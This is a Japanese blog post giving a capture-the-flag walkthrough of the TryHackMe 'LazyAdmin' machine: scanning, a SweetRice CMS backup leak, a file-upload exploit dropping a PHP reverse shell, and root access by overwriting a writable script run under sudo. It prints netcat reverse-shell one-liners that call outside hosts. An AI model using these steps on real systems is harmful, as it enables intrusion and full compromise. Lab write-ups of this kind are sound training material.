はまやんはまやんはまやん

hamayanhamayan's blog

LazyAdmin 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210521183146p:plain

一部を■で隠しています。

第一段階:ユーザーフラグを得る

とりあえずnmapとgobuster

$ export IP=[yourIP]
$ nmap -sC -sV $IP > nmap.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt > gobuster.txt
http://$IP/content (Status: 301)
http://$IP/index.html (Status: 200)

サイトにアクセスしてみよう。

/にアクセスしてみてもApacheのデフォルトページに飛ばされる。
/content/にアクセスしてみると、とあるCMSで作られたサイトが表示される。
SweetRiceというCMSらしい。

SweetRice

‘/content/js/SweetRice.js`を見ると、バージョンは0.5.4とのこと。
searchsploitでCVEを探してみる。

$ searchsploit sweetrice
---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- 
Exploit Title                                                                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
SweetRice 0.5.3 - Remote File Inclusion                                                                                                                         | php/webapps/10246.txt
SweetRice 0.6.7 - Multiple Vulnerabilities                                                                                                                      | php/webapps/15413.txt
SweetRice 1.5.1 - Arbitrary File Download                                                                                                                       | php/webapps/40698.py
SweetRice 1.5.1 - Arbitrary File Upload                                                                                                                         | php/webapps/40716.py
SweetRice 1.5.1 - Backup Disclosure                                                                                                                             | php/webapps/40718.txt
SweetRice 1.5.1 - Cross-Site Request Forgery                                                                                                                    | php/webapps/40692.html
SweetRice 1.5.1 - Cross-Site Request Forgery / PHP Code Execution                                                                                               | php/webapps/40700.html
SweetRice < 0.6.4 - 'FCKeditor' Arbitrary File Upload                                                                                                           | php/webapps/14184.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

ほう。色々出てくる。今のバージョンだとほとんど使えそう。
PHP Code Executionが気になるので見てみるが、CSRFか。ダメだな。
Arbitrary File Uploadでphpファイルを上げればRCEできそう…ユーザー名とパスワードがいるのか…

Backup Disclosureはどうだろう。
/inc/mysql_backupにアクセスするとデータベースの中身が抜ける。
ざっくり見てみるとパスワードっぽいのがあるのでCrackStationしてみる。
■■■■■■■■■■■■■■■■ md5 ■■■■■■■

adminページを探すとCVE情報の中に/content/as/があって、見てみるとログインページが表示される。
admin:■■■■■■■をやってみるがダメ、よくよく見るとadmin=managerみたいな感じになってるっぽいのでmanager:■■■■■■■とするとログインできる。
よし、ユーザーとパスワードが手に入った。

Arbitrary File Uploadをやる。PoCを持ってくる。

$ searchsploit -p 40716
  Exploit: SweetRice 1.5.1 - Arbitrary File Upload
      URL: https://www.exploit-db.com/exploits/40716
     Path: /usr/share/exploitdb/exploits/php/webapps/40716.py
File Type: Python script, ASCII text executable, with CRLF line terminators

$ cp /usr/share/exploitdb/exploits/php/webapps/40716.py 40716.py

ok. Reverse-Shellする。使うのはいつものこれ。これをshell.php5にして保存しておく。php5なのはPoCのコードにそう書いてあったから。
php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub
あとは40716.pyの設定を以下のようにして、> nc -vnlp 30303で待って、動かすとシェルが取れる。

host = "[yourIP]/content"
username = "manager"
password = "■■■■■■■■"
filename = "shell.php5"

シェルが取れたら適当にホームディレクトリを散策するとフラグが取れる。

$ cd home
$ ls
itguy
$ cd itguy
$ ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt
$ cat user.txt
■■■■■■■■■■■■■■■■■■■■■■■■

第二段階:権限昇格

適当にSUIDとSUDOを確認するとSUDOで気になる感じになっている。

$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

細かく見てみよう。

$ cat backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");
$ cat /etc/copy.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f
$ ls -la /etc/copy.sh
-rw-r--rwx 1 root root 81 Nov 29  2019 /etc/copy.sh

リバースシェルが書かれている。copy.shは編集可能なので書き換えて更にリバースシェルすることにしよう。
自分のマシン側で> nc -vnlp 30304と待っておいて、以下でルートのシェルを奪取しよう。

$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [yourIP] 30304 >/tmp/f" > /etc/copy.sh
$ sudo /usr/bin/perl /home/itguy/backup.pl
rm: cannot remove '/tmp/f': No such file or directory

これでルートのシェルが得られるので、あとは取っていくだけ。

# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
ls
root.txt
# cat root.txt
■■■■■■■■■■■■■■■■